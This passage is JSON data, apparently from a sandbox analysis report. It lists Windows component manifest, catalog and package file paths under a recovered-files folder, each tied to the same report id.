report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bg-bg_1b1810594f44477a.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bn-bd_1977cb5b5057fd7c.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bn-in_1de673af4d7ede29.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_bs-..-ba_9dc79e5d6403da80.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ca-..cia_14e21eba6dd01f70.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ca-es_c3c945ba3e394044.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_chr..-us_d733cdc5d64dd9f8.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_c62186f43ccc23a5.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_cy-gb_bb3b9ffc43d4c527.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_635b671b33121fa4.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_de-de_6086fc5734e8743e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_091d29ea23fddccc.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_en-gb_01ef1732289dcc3e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_en-us_0977d25023c68003.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_es-es_09432f3423ed71a8.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_es-mx_0b7a1cda22815553.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_et-ee_0302fac427f34e37.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fa-ir_acb22f871635f9ec.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fil-ph_4c9932ed5e24ef89.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fr-ca_a470ef7d1b97ee30.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_abfaa53316bf880a.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_gd-gb_4897be7c0d6eef46.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_gl-es_4fcb66ba08d6e883.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_gu-in_4d3218680a8d33dd.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ha-..-ng_efa1a927d84240b2.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_he-il_f01a4cd4fd2e88f8.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_hi-in_f0d21b80fcbd01ca.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_f36b257afb1f5726.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_id-id_8fb72759f1ff6608.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ig-ng_90eadb37f13d4795.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_is-is_95bbe437ee324d10.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_it-it_96229b79edf16d88.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_38481a86e10c7f63.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ka-ge_d685d3edd6c01dec.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_kk-kz_df69705bd114faed.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_kn-in_d9f6d7ffd498e52a.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_dbb1f73bd37d4679.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_kok-in_8954f2bed0ca321e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ku-..-iq_c46a9298ee4d9365.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ky-kg_d6650909d6f12c16.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lo-la_77462a6ecae7305c.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lt-lt_7f7d233cc5a51216.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lv-lv_804a91c0c5235306.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mi-nz_25bb53edb6274a60.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mk-mk_1efedf2bba7e24b8.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ml-in_2048ffe9b9aae7ba.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mn-mn_203304f1b9bb8620.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mr-in_20082061b9db8f60.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ms-my_24ddc44fb6c143a2.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_mt-mt_229b507db83648f0.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_c4447870aba27235.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ne-np_c4958fdaab71ca8f.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_c283c3aeacce7c0a.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_nso-za_30759cdc1af7521b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pa-..-pk_a75d382b17f9fbbf.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pa-in_0a1abb2891050c0a.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_08c01e3091f0e9be.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_prs-af_3dff0e07e96f2c20.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_0b1408d4907a7da2.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_0bf5d8408fe9ed7e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_quc..-gt_2a57c6783ce9c022.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_quz-pe_70168e91317ac39f.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ro-ro_50309e787650b8da.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_5298ea0474cb7baa.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sd-..-pk_e84e7b1b3fcd2927.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_si-lk_f1ca2e0169d4828b.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sk-sk_f1b3eeb169e56dd4.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sl-si_f0c610696a7f80b7.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sq-al_f1e6306769cb4caf.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sr-..-ba_4dd9cfb77e69eefb.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sr-..-rs_542fa3ff7a6c2e5d.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sr-..-rs_96f678addf9127e8.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sv-se_ee93d4796bf48605.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_sw-ke_ee89bacd6bfbd4ee.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_te-in_96688b9c5b69f0b2.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tg-..-tj_a5e21f1c9ac1371e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_th-th_939df62c5d394346.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ti-et_98e6d22059d4151c.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tk-tm_95b52a4e5be4adbc.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tn-za_9041dbb25f696501.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_tr-tr_97a11ec05ab087f6.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ug-cn_3971b87d4e0aac07.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_uk-ua_3381016751e1ae42.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ur-pk_37a50ba74f401efa.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_uz-..-uz_7b3c07d16f86f6aa.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_vi-vn_dc78abd640ade815.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_wo-sn_7f5654af336f6011.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_xh-za_1cfbcb5e297d323f.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_yo-ng_c2789c671a8ffaad.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_zh-cn_68fe3cbe0ae85a15.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_zh-tw_6cfa7a1408593685.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_zu-za_62abc4740f08d7ee.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\amd64_microsoft-windows-mccs-syncutil_31bf3856ad364e35_10.0.17134.1_none_ac07bc780c55bac6.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\microsoft-onecore-applicationmodel-sync-desktop-fod-package~31bf3856ad364e35~amd64~~10.0.17134.1.cat","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\microsoft-onecore-applicationmodel-sync-desktop-fod-package~31bf3856ad364e35~amd64~~10.0.17134.1.mum","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\microsoft-onecore-applicationmodel-sync-desktop-fod-package~31bf3856ad364e35~wow64~~10.0.17134.1.cat","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\update.cat","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\update.mum","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-onecore-a..od-wow64-deployment_31bf3856ad364e35_10.0.17134.1_none_3cfd55ef5791c82f.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..-activesyncprovider_31bf3856ad364e35_10.0.17134.1_none_af4043f89451de7e.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..-syncutil.resources_31bf3856ad364e35_10.0.17134.1_en-us_28277b9606d3ec06.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_20835d8c52defe66.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_bdbd3db34924fa65.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_de-de_bae8d2ef4afb4eff.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_637f00823a10b78d.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_en-us_63d9a8e839d95ac4.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_es-es_63a505cc3a004c69.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_02c00a792f1a3e93.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_065c7bcb2cd262cb.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_4dccfc13113231e7.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_it-it_f084721204044849.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_92a9f11ef71f5a24.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_3613cdd3e990213a.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_1ea64f08c1b54cf6.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\dir0001.chk\\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_1ce59a46c2e156cb.manifest","sources":[{"report_type":"sandbox","report_id":"67f24d7d35b2ba1f0d0631f7"}]},{"path":"C:\\found.000\\d